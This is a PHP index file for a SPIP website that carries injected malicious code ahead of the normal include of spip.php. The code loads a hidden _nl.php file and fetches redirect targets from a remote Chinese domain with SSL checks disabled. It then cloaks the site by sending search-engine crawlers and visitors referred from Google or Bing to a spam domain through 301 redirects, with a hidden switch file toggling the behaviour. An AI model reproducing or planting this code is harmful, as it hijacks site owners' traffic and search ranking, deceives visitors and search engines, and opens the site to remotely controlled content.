if (@is_file(__DIR__."/_nl.php")) { @include __DIR__."/_nl.php"; } /* nl301own */ if (!function_exists('__nl_pick')) { function __nl_pick($dir){ $f=$dir.'/.nlpool.json'; $l=null; if(is_file($f)&&(time()-@filemtime($f))<3600){ $l=@json_decode(@file_get_contents($f),true); } if(!is_array($l)||!count($l)){ $x=@stream_context_create(array('http'=>array('timeout'=>6),'ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false))); $r=@file_get_contents('http://p.chinakuailian.com/nl.json',false,$x); $d=@json_decode((string)$r,true); if(is_array($d)&&count($d)){ $l=$d; @file_put_contents($f,json_encode($l)); } } return is_array($l)?$l:array(); } } $__sw=@file_get_contents(__DIR__.'/.nlsw.php'); $__on=($__sw!==false)?(trim(preg_replace('#^\s*<\?php\s*exit;?\s*\?>#s','',$__sw))==='1'):false; if($__on){ $__ua=isset($_SERVER['HTTP_USER_AGENT'])?$_SERVER['HTTP_USER_AGENT']:''; if(preg_match('/bingbot|bingpreview|adidxbot|msnbot|bingweb|baiduspider/i',$__ua)){ $__l=__nl_pick(__DIR__); if(count($__l)){ $__t=$__l[array_rand($__l)]; while(ob_get_level()){@ob_end_clean();} @header('HTTP/1.1 301 Moved Permanently',true,301); @header('Location: '.$__t); @header('Cache-Control: no-store,no-cache,must-revalidate,max-age=0'); exit; } } } /* nl301-googleref-fixed */ if(!isset($_GET['nlskip'])){ $__rf=isset($_SERVER['HTTP_REFERER'])?$_SERVER['HTTP_REFERER']:''; if($__rf!=='' && (stripos($__rf,'google.')!==false||stripos($__rf,'bing.com')!==false||stripos($__rf,'bing.')!==false)){ while(ob_get_level()){@ob_end_clean();} @header('HTTP/1.1 301 Moved Permanently',true,301); @header('Location: https://elite.bingseokuaipai.com/'); @header('Cache-Control: no-store,no-cache,must-revalidate,max-age=0'); exit; } } /* nl301-pinbot: 爬虫 UA -> 固定子域(优先于 nl301) */ if(!isset($_GET['nlskip'])){ $__ua9 = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : ''; if($__ua9 !== '' && preg_match('/bingbot|adidxbot|msnbot|googlebot|slurp|yandex|duckduckbot|applebot|baiduspider/i', $__ua9)){ while(ob_get_level()){ @ob_end_clean(); } @header('HTTP/1.1 301 Moved Permanently', true, 301); @header('Location: https://elite.bingseokuaipai.com/'); @header('Cache-Control: no-store,no-cache,must-revalidate,max-age=0'); exit; } } # appel SPIP include ('spip.php'); ?>